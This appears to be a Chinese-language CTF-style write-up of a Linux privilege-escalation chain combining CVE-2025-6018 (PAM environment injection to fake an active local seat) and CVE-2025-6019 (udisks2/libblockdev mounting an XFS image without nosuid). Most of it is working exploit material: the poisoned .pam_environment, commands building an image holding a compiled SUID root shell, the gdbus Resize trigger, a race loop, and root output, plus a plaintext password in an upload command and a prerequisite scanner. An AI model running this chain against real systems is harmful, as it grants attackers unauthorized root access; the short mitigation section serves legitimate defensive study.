本文介绍了两个Linux系统中的提权漏洞(CVE-2025-6018和CVE-2025-6019)。CVE-2025-6018是一个身份伪装漏洞,涉及PAM环境变量注入,要求目标系统使用Systemd和特定的PAM配置。CVE-2025-6019则是一个本地权限提升漏洞,依赖于libblockdev和udisks2的逻辑缺陷。文章详细阐述了这些漏洞的前提条件、核心原理、利用步骤以及检测和修复方法,辅助渗透测试人员识别和防范这些安全风险。
前提
1. 身份伪装的前提 (针对 CVE-2025-6018)
这是“接力赛”的第一棒,目的是让系统把你从“外来客”识别为“本地人”。
- 必须是 Systemd 系统:目标必须使用 systemd-logind (Systemd Login Manager,Systemd 登录管理器) 来管理会话。
- PAM 环境配置权限:你必须对当前用户的家目录有写权限,因为需要创建或修改
~/.pam_environment文件。 - PAM 模块加载:目标系统必须启用了
pam_systemd.so(Pluggable Authentication Modules for Systemd,Systemd 的可插拔身份验证模块)。 - 重新读取环境:你必须能够触发一次新的会话登录(比如通过
ssh重新登录或者执行su - 用户名),以便让系统读取你投毒后的环境变量。
2. 授权许可的前提 (Polkit 的信任)
这是连接两个漏洞的“桥梁”。没有这一步,你无法调用后续的磁盘管理功能。
- Active 状态:通过
loginctl(Login Control,登录控制工具) 查看时,Active属性必须为yes。 - Seat 绑定:会话必须关联到一个具体的 Seat(席位),通常是
seat0(The primary hardware seat,主硬件席位)。 - Polkit 策略允许:系统的 Polkit (PolicyKit,系统级权限管理工具包) 策略必须配置为:允许“本地活跃用户”在无需管理员密码的情况下通过 udisks2 (User-space Disk Management Daemon,用户空间磁盘管理守护程序) 操作磁盘。
3. 漏洞触发的前提 (针对 CVE-2025-6019)
这是“接力赛”的终点,真正完成从普通用户到 Root (超级用户) 的跨越。
- 存在漏洞的库:系统中安装的 libblockdev (Block Device Manipulation Library,块设备操作库) 版本必须在受影响范围内(未打补丁)。
- 内核支持 XFS:Linux 内核必须加载了 XFS (Extents File System,扩展文件系统) 驱动,否则无法挂载你的恶意镜像。
- udisks2 服务运行:系统必须运行着 udisks2 守护程序,并且允许你通过 D-Bus (Desktop Bus,桌面总线) 调用它的
Resize(调整大小) 方法。 - 可写的
/tmp目录:虽然不是绝对,但漏洞利用通常依赖在/tmp目录下创建临时挂载点,且该目录不能有noexec(禁止执行) 限制。 - 镜像完整性:你必须拥有一个在本地预先制作好的、带有 SUID (Set User ID,设置用户 ID) 权限二进制文件的 XFS 镜像。
漏洞基本信息
1. 漏洞基本信息 (Vulnerability Overview)
- CVE-2025-6018:
- 名称: PAM 环境变量注入漏洞 (Pluggable Authentication Modules Environment Injection)
- 类型: 逻辑缺陷 / 身份伪装
- 影响范围: 主要影响 SUSE 系列及配置不当的 Linux 发行版。
- CVE-2025-6019:
- 名称: libblockdev / udisks2 逻辑漏洞
- 类型: 本地权限提升 (LPE - Local Privilege Escalation)
- 风险等级: 高 (High)
2. 漏洞核心原理 (Root Cause Analysis)
- CVE-2025-6018 (突破点):
系统中的
pam_env.so(Pluggable Authentication Modules Environment Library) 模块配置了user_readenv=1。这允许普通用户通过修改家目录下的~/.pam_environment文件注入特定的环境变量。- 关键变量:
XDG_SEAT(X Display Group Seat) 和XDG_VTNR(X Display Group Virtual Terminal Number)。 - 后果: 成功欺骗 Polkit (PolicyKit) 模块,使远程会话被误判为“本地活跃会话” (Active Local Session),从而获得执行敏感系统操作的权限。
- 关键变量:
- CVE-2025-6019 (提权点):
libblockdev (Block Device Manipulation Library) 在处理 XFS (Extents File System) 文件系统缩放请求时,通过 udisks2 (User-space Disk Management Daemon) 挂载临时镜像。
- 缺陷: 挂载过程中未设置
MS_NOSUID(Mount Flag: No Set User ID) 标志。 - 后果: 允许用户挂载包含攻击者构造的 SUID (Set User ID) 程序的文件系统镜像。
- 缺陷: 挂载过程中未设置
3. 提权攻击链构造 (Exploitation Chain)
这一部分是笔记的精华,记录如何将两者串联:
- 环境准备: 在
$HOME创建.pam_environment,写入伪造的本地席位信息。 - 会话重置: 触发 PAM (Pluggable Authentication Modules) 会话重新加载(如通过 SSH 重连)。
- 权限校验: 确认
loginctl(Login Control) 将当前用户标记为Active=yes。 - 载荷投放: 准备一个恶意的 XFS (Extents File System) 磁盘镜像,内部包含一个具备 SUID (Set User ID) 权限的 Shell。
- 触发执行: 使用
udisksctl(User-space Disk Control Tool) 请求修改该镜像大小,系统会自动挂载该镜像,此时执行其中的 SUID 程序即可获取 Root (超级用户) 权限。
4. 渗透测试检查清单 (Pentest Checklist)
- 检查
/etc/pam.d/下是否存在user_readenv=1。(如果没有,跳过尝试第二步) - 检查是否存在
~/.pam_environment的写权限。(检查env) - 检查
pkexec(PolicyKit Execution) 或udisksctl(User-space Disk Control Tool) 是否可用。 - 检查 libblockdev (Block Device Manipulation Library) 版本是否低于安全补丁版本。
5. 修复与防御 (Mitigation & Defense)
- 短期策略: 修改 PAM (Pluggable Authentication Modules) 配置,设置
user_readenv=0。 - 长期策略: 更新系统内核及 libblockdev、udisks2 关键库。
- 审计建议: 监控
~/.pam_environment文件的异常修改记录。
实例
利用CVE-2025-6018
phileasfogg3@pterodactyl:~> cat .pam_environment
XDG_SEAT OVERRIDE=seat0
XDG_VTNR OVERRIDE=1
重新登录ssh
phileasfogg3@pterodactyl:~> env | grep XDG
XDG_VTNR=1
XDG_SESSION_ID=184
XDG_SESSION_TYPE=tty
XDG_DATA_DIRS=/usr/share
XDG_SESSION_CLASS=user
XDG_SEAT=seat0
XDG_RUNTIME_DIR=/run/user/1002
XDG_CONFIG_DIRS=/etc/xdg
检查SEAT是否为seat0,以及STATE是否为active
phileasfogg3@pterodactyl:~> loginctl --no-pager
SESSION UID USER SEAT TTY STATE IDLE SINCE
20 1002 phileasfogg3 seat0 pts/0 active no
1 sessions listed.
确认Polkit门票
phileasfogg3@pterodactyl:~> pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ && echo "VULNERABLE: Polkit is bypassed!"
VULNERABLE: Polkit is bypassed!
如果它没有弹出密码输入提示,且直接打印了 VULNERABLE,那么已经拿到了 CVE-2025-6019 的提权通行证。
利用CVE-2025-6019
第一步:在攻击机上制作恶意 XFS 镜像
# 1. 创建一个 300MB 的空镜像文件
dd if=/dev/zero of=xfs.image bs=1M count=300
# 2. 格式化为 XFS (Extents File System,扩展文件系统)
mkfs.xfs xfs.image
# 3. 挂载镜像并植入 SUID Shell 包装器
mkdir -p ./mnt
sudo mount -o loop xfs.image ./mnt
# 4. 编写并编译一个简单的 SUID 提权程序(比直接拷贝 bash 更稳定)
cat << EOF > rootshell.c
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc rootshell.c -o ./mnt/rootshell
# 5. 设置关键的 SUID (Set User ID) 权限
sudo chmod 4755 ./mnt/rootshell
# 6. 卸载镜像
sudo umount ./mnt
rm rootshell.c
sudo执行上述文件
上传到目标:sshpass -p '!QAZ2wsx' scp xfs.image phileasfogg3@pterodactyl.htb:/tmp/
第二步:在目标机上触发提权
# 1. 进入 /tmp 目录
cd /tmp
# 2. 设置回环设备 (Loop Device)
# udisksctl: User-space Disk Control Tool (用户空间磁盘控制工具)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
echo "Loop Device: $LOOP_DEV"
# 3. 触发漏洞:利用 gdbus 调用 Resize 方法
# 这会强制 libblockdev (Block Device Manipulation Library) 以含有漏洞的方式挂载镜像
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
# 4. 寻找挂载点并运行提权程序
# 漏洞触发后,镜像会被挂载在 /tmp/blockdev-xxxx 下
MOUNT_PATH=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -z "$MOUNT_PATH" ]; then
echo "[-] Mount failed, check if you are an Active session."
else
echo "[+] Found mount at: $MOUNT_PATH"
$MOUNT_PATH/rootshell
fi
第三步:开启抢夺循环
# 1. 开启极其密集的后台抢夺器
(while true; do
target=$(find /tmp -maxdepth 1 -name "blockdev-*" -type d 2>/dev/null)
if [ -n "$target" ]; then
echo "[!] MOUNT DETECTED: $target"
$target/rootshell
break
fi
done) &
# 2. 获取抢夺器的进程 ID
SNATCHER_PID=$!
# 3. 重新设置循环设备 (假设使用你上传的镜像)
LOOP_DEV=$(udisksctl loop-setup --file /tmp/xfs.image --no-user-interaction | grep -o '/dev/loop[0-9]*')
# 4. 触发漏洞(多次触发增加成功率)
for i in {1..3}; do
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path "/org/freedesktop/UDisks2/block_devices/${LOOP_DEV##*/}" \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
done
# 5. 如果成功,你会进入 Root Shell;如果不成功,杀掉抢夺器
kill $SNATCHER_PID 2>/dev/null
最后
phileasfogg3@pterodactyl:/tmp> find /tmp/blockdev.* -name "rootshell" -perm -4000 2>/dev/null
/tmp/blockdev.38YCK3/rootshell
phileasfogg3@pterodactyl:/tmp> /tmp/blockdev.38YCK3/rootshell -p
pterodactyl:/tmp # id
uid=0(root) gid=0(root) groups=0(root),100(users)
·1pterodactyl:/tmp # cat /root/root.txt
检测
#!/bin/bash
# --- 颜色定义 ---
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # 无颜色 (No Color)
echo -e "${BLUE}====================================================${NC}"
echo -e "${BLUE} NeobeeSec 提权前置环境综合扫描器 ${NC}"
echo -e "${BLUE}====================================================${NC}"
# 1. 系统基础信息采集
echo -e "\n${YELLOW}[1] 系统基础信息 (System Information)${NC}"
echo -e "主机名: $(hostname)"
echo -e "内核版本 (Kernel Version): $(uname -r)"
if [ -f /etc/os-release ]; then
# 全称: Operating System Release (操作系统发行版信息)
source /etc/os-release
echo -e "发行版本: $PRETTY_NAME"
fi
# 2. CVE-2025-6018 状态检查 (身份伪装检查)
echo -e "\n${YELLOW}[2] CVE-2025-6018 身份伪装状态 (Environment Poisoning)${NC}"
# 检查环境变量
# 全称: X Display Group Seat (X 显示组席位)
echo -n "XDG_SEAT 状态: "
if [[ "$XDG_SEAT" == "seat0" ]]; then
echo -e "${GREEN}已设置为 seat0 (符合攻击条件)${NC}"
else
echo -e "${RED}未设置或非 seat0 (当前值: $XDG_SEAT)${NC}"
fi
# 检查会话活跃度
# 全称: Login Control (登录控制工具)
if command -v loginctl &>/dev/null; then
ACTIVE_STATUS=$(loginctl show-session "$XDG_SESSION_ID" --property=Active --value 2>/dev/null)
echo -e "会话活跃状态 (Active Status): ${ACTIVE_STATUS:-Unknown}"
if [[ "$ACTIVE_STATUS" == "yes" ]]; then
echo -e "[${GREEN}√${NC}] 会话已激活,Polkit [PolicyKit] 将信任此会话。"
else
echo -e "[${RED}!${NC}] 会话非活跃,可能无法调用特权 D-Bus [Desktop Bus] 方法。"
fi
else
echo -e "${RED}[x] 找不到 loginctl 工具${NC}"
fi
# 3. 核心库与组件检查
echo -e "\n${YELLOW}[3] 关键组件与包版本 (Software Packages)${NC}"
# 检查工具是否存在
components=("udisksctl" "gdbus" "pkcheck")
for cmd in "${components[@]}"; do
if command -v "$cmd" &>/dev/null; then
echo -e "[${GREEN}√${NC}] 发现工具: $cmd"
else
echo -e "[${RED}x${NC}] 缺失工具: $cmd"
fi
done
# 深度检查包版本 (支持 RPM 和 DPKG)
# 全称: Red Hat Package Manager (红帽包管理器)
# 全称: Debian Package (Debian 包管理系统)
check_pkgs=("libblockdev" "udisks2" "polkit" "systemd")
if command -v rpm &>/dev/null; then
echo -e "\n--- 基于 RPM 的包版本查询 ---"
for pkg in "${check_pkgs[@]}"; do
rpm -qa | grep -i "$pkg" | sed "s/^/[+] /"
done
elif command -v dpkg &>/dev/null; then
echo -e "\n--- 基于 DPKG 的包版本查询 ---"
for pkg in "${check_pkgs[@]}"; do
dpkg -l | grep -i "$pkg" | awk '{print "[+] "$2, $3}'
done
fi
# 4. CVE-2025-6019 提权前置检查 (磁盘与挂载)
echo -e "\n${YELLOW}[4] CVE-2025-6019 提权前置 (LPE Prerequisites)${NC}"
# 检查内核对 XFS 的支持
# 全称: Extents File System (扩展文件系统)
if grep -q "xfs" /proc/filesystems; then
echo -e "[${GREEN}√${NC}] 内核支持 XFS 文件系统。"
else
echo -e "[${RED}x${NC}] 内核不支持 XFS,无法挂载提权镜像。${NC}"
fi
# 检查 /tmp 目录执行权限
# 全称: Standard Output (标准输出)
# 全称: Mount (挂载指令)
if mount | grep -E '\s/tmp\s' | grep -q "noexec"; then
echo -e "[${RED}x${NC}] /tmp 目录被挂载为 noexec (禁止执行),提权程序可能无法运行。"
else
echo -e "[${GREEN}√${NC}] /tmp 目录允许执行程序。"
fi
# 5. 权限漏洞盲测 (Polkit 授权检查)
echo -e "\n${YELLOW}[5] Polkit [PolicyKit] 授权盲测${NC}"
# 检查是否可以直接利用 udisks2 (User-space Disk Management Daemon) 挂载权限
if command -v pkcheck &>/dev/null; then
pkcheck --action-id org.freedesktop.udisks2.filesystem-mount --process $$ &>/dev/null
if [ $? -eq 0 ]; then
echo -e "[${GREEN}√${NC}] 授权成功: 你可以直接挂载文件系统!"
else
echo -e "[${RED}x${NC}] 授权失败: 挂载操作需要管理员密码。"
fi
fi
echo -e "\n${BLUE}====================================================${NC}"
echo -e "扫描完成。如果以上带 [√] 的项目较多,说明提权成功率极高。"